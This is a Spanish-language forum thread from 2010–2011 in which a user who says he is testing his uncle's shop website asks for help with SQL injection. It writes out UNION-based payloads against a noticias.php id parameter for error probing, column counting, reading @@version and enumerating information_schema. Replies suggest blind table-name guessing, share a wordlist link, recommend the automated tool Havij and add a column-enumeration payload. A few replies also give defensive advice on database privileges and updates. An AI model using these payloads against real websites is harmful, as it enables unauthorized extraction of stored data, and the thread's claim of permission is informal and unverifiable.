Buenas a todos, estoy auditando un sistema web casera de la tienda de mi tio, me dijo que lo podia usar para hacer pruebas si no modificaba nada >:D
La cuestión es que encontré varias fallas SQLi, y ahora quiero simular la explotación o por lo menos obtener datos interesantes, primero comprové que la variable ID era vulnerable:
noticias.php?id='1
Y devolvió error!
Luego me aseguré de ver que tablas eran vulnerables y en la numero 7 pude observar que me devolvia 2,4,5
noticias.php?id=-1+union+select+1,2,3,4,5,6,7--
Así que procedí a obtener la information_schema, pero antes comprobar la versión:
noticias.php?id=id=-1+union+select+1,@@version,3,4,5,6,7--
Y me deolvió:
4.0.27-max-log
Y según se, este mysql no trae information_schema , cierto? Ya me confirmarán.
Ahora viene el problema, intento obtener tablas de information_schema:
noticias.php?id=-1+union+select+1,group_concat(table_name),3,4,5,6,7+from+information_schema.tables--
Pero tan solo obtengo:
CitarError : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '(table_name),3,4,5,6,7 from information_schema.tables--' at lin
Que estoy haciendo mal? Juraria que la querie esta bien formulada pero no soy muy dado a los SQLi :S
Saludos
information_schema.tables no esta en la version 4 tendras que hacerlo a ciegas XD
Cita de: LEYER en 25 Agosto 2010, 22:28 PM
information_schema.tables no esta en la version 4 tendras que hacerlo a ciegas XD
Osea que pruebe nombres de tablas a lo loco?
Saludos
Si :xD
No si ya lo dicen los expertos, hay que tener todo actualizado... que si no las cosas se hacen mas dificiles... :¬¬
Alguien podria decirme si es factible bruteforce o alguna lista de defaults?
Saludos
http://pastebin.com/3SR7vT30
Muchisimas gracias :)
Saludos
la práctica de actualizar el software es FUNDAMENTAL, el hecho es que con más funcionalidad vienen más peligros.
el acceso a information_schema NUNCA debería ser posible desde un usuario creado para una web, de hecho solo debería poder acceder a la tabla para la cual ha sido creado, separando la de login, y sobre todo SOLO selects, nada de updates blablablá
te recomiendo usar "Havij" es un programa muy útil, te comprueba automáticamente la existencia de ciertas tablas, viene con su propio diccionario y peude ser aumentado facilmente.
así mismo para todos:
http://www.securitybydefault.com/2010/08/fortificacion-de-mysql-13.html
http://www.securitybydefault.com/2010/08/fortificacion-de-mysql-23.html
Cita de: tragantras en 26 Agosto 2010, 01:44 AM
la práctica de actualizar el software es FUNDAMENTAL, el hecho es que con más funcionalidad vienen más peligros.
el acceso a information_schema NUNCA debería ser posible desde un usuario creado para una web, de hecho solo debería poder acceder a la tabla para la cual ha sido creado, separando la de login, y sobre todo SOLO selects, nada de updates blablablá
te recomiendo usar "Havij" es un programa muy útil, te comprueba automáticamente la existencia de ciertas tablas, viene con su propio diccionario y peude ser aumentado facilmente.
así mismo para todos:
http://www.securitybydefault.com/2010/08/fortificacion-de-mysql-13.html
http://www.securitybydefault.com/2010/08/fortificacion-de-mysql-23.html
Muchas gracias por la información :)
Saludos
Y porque no haces:
id='+union+select+all+1,table_name,3,4,5,6,7+from+information_schema.tables--
¿?¿?
(después pones id='+union+...+1,group_concat(column_name),3,4,5,6,7+from+information_schema.columns+where+table_name=char(TEXTO EN ASCCI)--)
@Lavacaloca, por si no leíste se dejo claro que no existe information_schema.
Cita de: Shell Root en 25 Julio 2011, 07:44 AM
@Lavacaloca, por si no leíste se dejo claro que no existe information_schema.
Perdón, no sabía que esa versión no tiene information_schema , no había entendido cuando lo dijiste